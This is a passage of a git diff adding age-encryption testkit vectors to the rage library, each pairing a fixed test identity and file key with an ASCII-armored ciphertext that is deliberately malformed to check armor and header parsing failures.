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 +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_garbage_leading b/lib/rage/age/tests/testdata/testkit/armor_garbage_leading new file mode 100644 index 0000000..f65c11a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_garbage_leading @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +garbage +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_garbage_trailing b/lib/rage/age/tests/testdata/testkit/armor_garbage_trailing new file mode 100644 index 0000000..67715ac --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_garbage_trailing @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- +garbage diff --git a/lib/rage/age/tests/testdata/testkit/armor_header_crlf b/lib/rage/age/tests/testdata/testkit/armor_header_crlf new file mode 100644 index 0000000..ce52d31 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_header_crlf @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +armored: yes +comment: lines in the header end with CRLF instead of LF + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxDQotPiBYMjU1MTkgVEVpRjB5cHFyK2JwdmNx +WE55Q1ZKcEw3T3V3UGRWd1BMN0tRRWJGRE9DYw0KaGphYkdYd1NMUTljM1M2THcy +aStTMlR1MmZpd1FISHNsYkJONkI0MUZMRQ0KLS0tIDJLSUdiN3llMzJNV3RVdUVW +V2tPM01QNnFDREx6T3ZUOXdGMDZsZWxCU0kNCu7PYsfOkbQzJ05o1PL5E0y3TFv+ +976qUsjwvA6ZLB6DMftm +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_headers b/lib/rage/age/tests/testdata/testkit/armor_headers new file mode 100644 index 0000000..3ca00d2 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_headers @@ -0,0 +1,15 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +Headers: are +Not: allowed + +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_invalid_character_header b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_header new file mode 100644 index 0000000..599d1cd --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_header @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdl*WVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload new file mode 100644 index 0000000..634b922 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_invalid_character_payload @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +*PC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_long_line b/lib/rage/age/tests/testdata/testkit/armor_long_line new file mode 100644 index 0000000..7bafc0e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_long_line @@ -0,0 +1,8 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FYTnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lWK0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkzZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpSyPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_lowercase b/lib/rage/age/tests/testdata/testkit/armor_lowercase new file mode 100644 index 0000000..3ab173d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_lowercase @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN age ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END age ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_end_line b/lib/rage/age/tests/testdata/testkit/armor_no_end_line new file mode 100644 index 0000000..d4a2bce --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_end_line @@ -0,0 +1,11 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_eol b/lib/rage/age/tests/testdata/testkit/armor_no_eol new file mode 100644 index 0000000..49630cb --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_eol @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: there is no end of line at the end of the file + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_match b/lib/rage/age/tests/testdata/testkit/armor_no_match new file mode 100644 index 0000000..f694a45 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_match @@ -0,0 +1,12 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-143WN7DCXU4G8R5AXQSSYD9AEPYDNT3HXSLWSPK36CDU6E8M59SSSAGZ3KG +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBhanRxQXZERWtWTnIyQjd6 +VU90cTJtQVFYRFNCbE5yVkF1TS9kS2I1c1Q0CkhVS3R6MFIyajVCbDJFUjdIaEFa +clVSaWtDRnBpSWpOYTBLakhjamJBR1UKLS0tIHJycFRsdktFS3JLM0VxaG9PUEpl +UDFLRThPMWQyYXJyUmV6Nzdtd2VrUmMK3d9y0G+8q1ffPQ0xJJatIYzX/W+AeLv4 +gS3YeUcVXre9Xog= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_no_padding b/lib/rage/age/tests/testdata/testkit/armor_no_padding new file mode 100644 index 0000000..737ed67 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_no_padding @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: missing base64 padding + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_not_canonical b/lib/rage/age/tests/testdata/testkit/armor_not_canonical new file mode 100644 index 0000000..a6c6f56 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_not_canonical @@ -0,0 +1,13 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: base64 is not canonical + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Z= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_pgp_checksum b/lib/rage/age/tests/testdata/testkit/armor_pgp_checksum new file mode 100644 index 0000000..c245ba2 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_pgp_checksum @@ -0,0 +1,14 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- + +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +=J2ub +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_short_line b/lib/rage/age/tests/testdata/testkit/armor_short_line new file mode 100644 index 0000000..a92d523 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_short_line @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRp +b24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FYTnlDVkpwTDdPdXdQ +ZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lWK0h1MHIrRThSNzdE +ZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkzZjFzcUhqbHUvejFM +Q1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpSyPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_begin b/lib/rage/age/tests/testdata/testkit/armor_whitespace_begin new file mode 100644 index 0000000..91c70ab --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_begin @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +----- BEGIN AGE ENCRYPTED FILE ----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_end b/lib/rage/age/tests/testdata/testkit/armor_whitespace_end new file mode 100644 index 0000000..22bfb39 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_end @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz 